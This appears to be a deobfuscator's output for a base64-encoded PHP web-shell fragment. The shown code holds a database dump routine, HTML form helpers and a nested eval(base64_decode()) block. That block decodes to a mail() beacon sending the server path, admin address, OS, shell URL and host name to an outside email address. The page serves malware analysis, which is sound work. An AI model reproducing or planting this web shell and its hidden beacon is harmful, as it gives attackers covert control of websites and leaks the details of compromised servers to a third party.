FycmF5KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNobyAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsNCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ugew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJsZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0KfQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZvb3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOw0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCi8vIHwmIzExMTg7LSt8JiMxMDg3Oy0gDQpmdW5jdGlvbiBwcigkYSkgew0KCWVjaG8gJzxwcmU+JzsNCglwcmludF9yKCRhKTsNCgllY2hvICc8L3ByZT4nOw0KfQ0KDQo/Pg0KDQo8P3BocCBldmFsKCI/PiIuYmFzZTY0X2RlY29kZSgiUEQ5d2FIQU5DaVJyYVcxbFBTSm9ZV05yWldSZmVHRjBiR2wyWVdOcGNFQm9iM1J0WVdsc0xtTnZiU0k3RFFva1ltRnpiR2xyUFNKVFlXUnlZWHBoVFNCVFpYSjJaWElnUVhaamFYTnBJRll4TGpBaU93MEtKRVZNWDAxMVNHRk5UV1ZFUFNKRWIzTjVZU0JaYjJ4MUlEb2dJaTRrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UFZDZGRMaUpjY2x4dUlqc05DaVJGVEY5TmRVaGhUVTFsUkM0OUlsTmxjblpsY2lCQlpHMXBiaUE2SUNJdUpGOVRSVkpXUlZKYkoxTkZVbFpGVWw5QlJFMUpUaWRkTGlKY2NseHVJanNOQ2lSRlRGOU5kVWhoVFUxbFJDNDlJbE5sY25abGNpQnBjMnhsZEdsdElITnBjM1JsYldrZ09pQWlMaVJmVTBWU1ZrVlNXeWRUUlZKV1JWSmZVMDlHVkZkQlVrVW5YUzRpWEhKY2JpSTdEUW9rUlV4ZlRYVklZVTFOWlVRdVBTSlRhR1ZzYkNCTWFXNXJJRG9nYUhSMGNEb3ZMeUl1SkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMHVKRjlUUlZKV1JWSmJKMUJJVUY5VFJVeEdKMTB1SWx4eVhHNGlPdzBLSkVWTVgwMTFTR0ZOVFdWRUxqMGlRWFpzWVc1aGJpQlRhWFJsSURvZ0lpQXVKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlKY2NseHVJanNOQ20xaGFXd29KR3RwYldVc0lDUmlZWE5zYVdzc0lDUkZURjlOZFVoaFRVMWxSQ2s3RFFvL1BnPT0iKSk7ID8+")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | f047c89aa4e8f9b641f82b37747a2d47 |
Eval Count | 1 |
Decode Time | 303 ms |